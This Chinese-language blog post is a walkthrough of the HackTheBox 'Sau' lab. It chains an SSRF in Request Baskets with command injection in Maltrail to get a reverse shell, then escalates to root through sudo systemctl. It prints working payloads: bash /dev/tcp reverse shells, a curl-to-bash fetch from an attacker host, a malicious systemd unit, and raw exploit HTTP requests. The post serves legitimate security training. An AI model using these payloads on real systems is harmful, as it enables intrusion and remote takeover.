靶场通关记录"/>
hackthebox Sau靶场通关记录
- 靶场hackthebox Sau,地址:
- 此博客并非write up,只是记录以下我的打靶过程,也会有错误的操作,所以不建议不看内容,直接复制命令执行。但因为是记录过程,所以相关图文可能会更加详细,可能对你有所帮助。
一、前期探测
-
开启靶机,靶机ip:10.10.11.224
-
nmap端口发现:
nmap -p- --min-rate 5000 10.10.11.224
-
发现22,55555端口
-
-
nmap针对扫描:
nmap -p 22,55555 -sC -sV --min-rate 5000 10.10.11.224
-
22端口ssh服务。
-
55555端口,浏览器访问,发现是web服务。
-
-
浏览器访问55555端口:
-
界面显示Request Baskets,版本是1.2.1 。
- 搜索发现Request Baskets是rbaskets开源的一个Web服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们。
-
同时发现漏洞=AVD-2023-27163
二、reques baskets漏洞利用
-
漏洞利用:
-
request baskets服务存在api接口
/api/baskets/{name}
,/baskets/{name}
,这里的name可以任意,这些接口会接收一个forward_url参数,而这个参数存在SSRF漏洞。 -
向
/api/baskets/{name}
发送forward_url参数后,需要访问10.10.11.224:55555/{name}
来触发SSRF漏洞(请求给定的forward_url)。 -
可以实现55555端口访问其他端口内容的效果(如直接访问80端口被拦截,但是通过这个SSRF漏洞,让靶机主机访问80端口,再把内容显示在55555端口)。
-
-
访问url:
/api/baskets/rktest
(rktest是随意取的),然后burp抓包,进行如下修改:- GET改成POST,请求体内容为:
{"forward_url": "http://127.0.0.1:80/","proxy_response": true,"insecure_tls": false,"expand_path": true,"capacity": 250 }
- forward_url是请求的url,因为不知道80端口的网站具体有什么内容,所以是路径直接是/。
- proxy_response设置为true,应该是控制是否将请求的url内容转发过来。
-
发送,返回token:iyU0YOQ2aZP9rqdWHqUusBbhxW9_1_Sh-AJQ0jyq03Dj
-
此时去访问:
10.10.11.224:55555/rktest
,显示了靶机80端口的网页:- 发现是Maltrail服务,还有版本号0.53,可以搜一下是什么,有什么漏洞
-
如果proxy_response设置为false,访问
10.10.11.224:55555/rktest_1
请求可以成功,但是没有内容:- 返回200,没有内容,只是执行了url请求。
三、Maltrail漏洞利用:
-
maltrail是开源的恶意流量检测系统,项目地址:。
-
搜索maltrail vulnerability(中文可能没有),可以找到漏洞描述:
- /bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
- 在登入页面,请求体发送相应内容,可以执行系统命令,图片上执行id命令并将内容输出到/tmp/bbq。
- 利用这个漏洞,或许可以反弹shell。
-
因为这个漏洞需要login页面,所以再次利用request baskets的ssrf漏洞
-
forward_rul参数为
http://127.0.0.1:80/login
-
对应的{name}需要修改,否则会显示重复
-
{"forward_url": "http://127.0.0.1:80/login","proxy_response": true,"insecure_tls": false,"expand_path": true,"capacity": 250 }
-
强烈建议复制一下数据包,保存起来,因为可能要反复使用两个数据包,修改比较麻烦。
-
访问:
:55555/rktest_2
,显示login failed,说明已经可以访问login页面了
-
四、反弹shell:
-
nc监听12345端口:
-
burp抓取
:55555/rktest_2
,数据包,指定请求体:-
username=;`bash -i >& /dev/tcp/10.10.14.15/12345 0>&1` #ip,端口自己指定
-
为了服务器识别,进行了url编码,同时请求头加上
Content-Type: application/x-www-form-urlencoded
-
username=%3b%60bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.14.15%2f12345+0%3e%261%60
-
建议保存上面的数据包。
-
-
username尝试了多种格式,发现都不能接收到shell,放弃直接bash
-
-
尝试执行curl指令,执行sh脚本,反弹shell:
-
shell.sh:修改ip和port
-
开启http服务:python3 -m http.server 80,当前目录就是web根目录
-
username=;`curl 10.10.14.15/shell.sh|bash` # username=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60 #url编码
-
成功反弹shell:http服务器检测到流量,nc得到shell
-
-
user flag:
- puma家目录:9d27f073a1321690ac3a83a5ffc270db
五、权限提升:
-
首先考虑信息泄露,查看maltrail配置文件,cat maltrail.conf
-
# User entries (username:sha256(password):UID:filter_netmask(s)) #filter_netmask(s) is/are used to filter results USERSadmin:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:0: #changeme! # local:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:1000:192.168.0.0/16 # changeme!
-
获得一段sha256加密的密码,尝试破解(/),发现就是maltrail的默认密码changeme!
-
如果这样,不太可能是root或者puma用户的密码。
-
再检索了其他文件,没有什么发现。
-
id查看用户组:
-
查看是否有什么可执行文件,find / -group puma,发现都是一些进程,或者没有权限。
-
尝试sudo -l,发现居然不需要密码(一般都是需要密码,不知道为什么这里不需要?),发现可以不要密码的运行systemctl:
-
systemctl提权,反弹root权限的shell:
-
网上搜了下sudo systemctl提权,发现方法:.html
-
进入/dev/shm目录,创建文件mm.service,内容如下(ip,端口需要修改):
-
[Service] Type=oneshot ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.15/23456 0>&1 2<&1" [Install] WantedBy=multi-user.target
-
多行写入指令:cat >>mm.service<<EOF
-
查看写入是否正常:cat mm.service
-
-
nc监听端口23456:nc -lvvp 23456
-
启动服务:
-
sudo systemctl link /dev/shm/mm.service,
-
sudo systemctl enable --now /dev/shm/mm.service\
-
执行发现需要terminal:sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper,需要交互式shell来输入密码,但是sudo -l不用密码也可以,不知道为啥。
-
使用python获取交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
-
这时候sudo systemctl又需要密码了,说好的NOPASSWD呢????
-
-
再次看了下sudo -l,发现应该限制了服务名称trail.service
-
将mm.service修改了名字,再尝试发现还是不行:
-
尝试运行以下sudo systemctl status trail.service:
-
发现确实可以不要密码运行,难道限制了指令只能status,trail.service的具体路径也限制了吗?
-
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
-
考虑修改原来的trail.service,发现权限不够:
-
-
-
再次去搜索systemctl提权的方法,原来是中文搜索,只能看到一篇提及systemctl提权的博客,这次英文搜索
linux "systemctl" "escalate"
,发现:/,这里提及了一个sudo提权的方法:-
直接sudo运行systemctl运行后,输入!sh
-
sudo systemctl status trail.service,显示一段内容后,会暂停让我们输入,直接输入!sh
-
提权成功!
-
flag在/root目录:2c4fa5feb2d7bd0f4d5ca9c23834bddb
六、总结:
- request baskets漏洞,CVE-2023-27163,SSRF漏洞,访问外网无法访问的80端口网站。
- maltrail漏洞,远程命令执行,反弹shell。
- systemctl sudo提权,可以无密码sudo systemctl status 某个服务,运行后,输入!sh提权。
七、参考:
-
sau write up:/
-
request baskets漏洞描述:=AVD-2023-27163
-
request baskets漏洞利用:
-
maltrail漏洞利用:/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
-
systemctl提权:.html
-
systemctl提权:/
-
SSRF连接login页面数据报:
-
POST /api/baskets/rktest HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 52 Content-Type: application/x-www-form-urlencoded{"forward_url": "http://127.0.0.1:80/login","proxy_response": true,"insecure_tls": false,"expand_path": true,"capacity": 250 }
-
RCE使用curl反弹shell数据报:
-
POST /rktest HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 52 Content-Type: application/x-www-form-urlencodedusername=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60
更多推荐
hackthebox Sau靶场通关记录
发布评论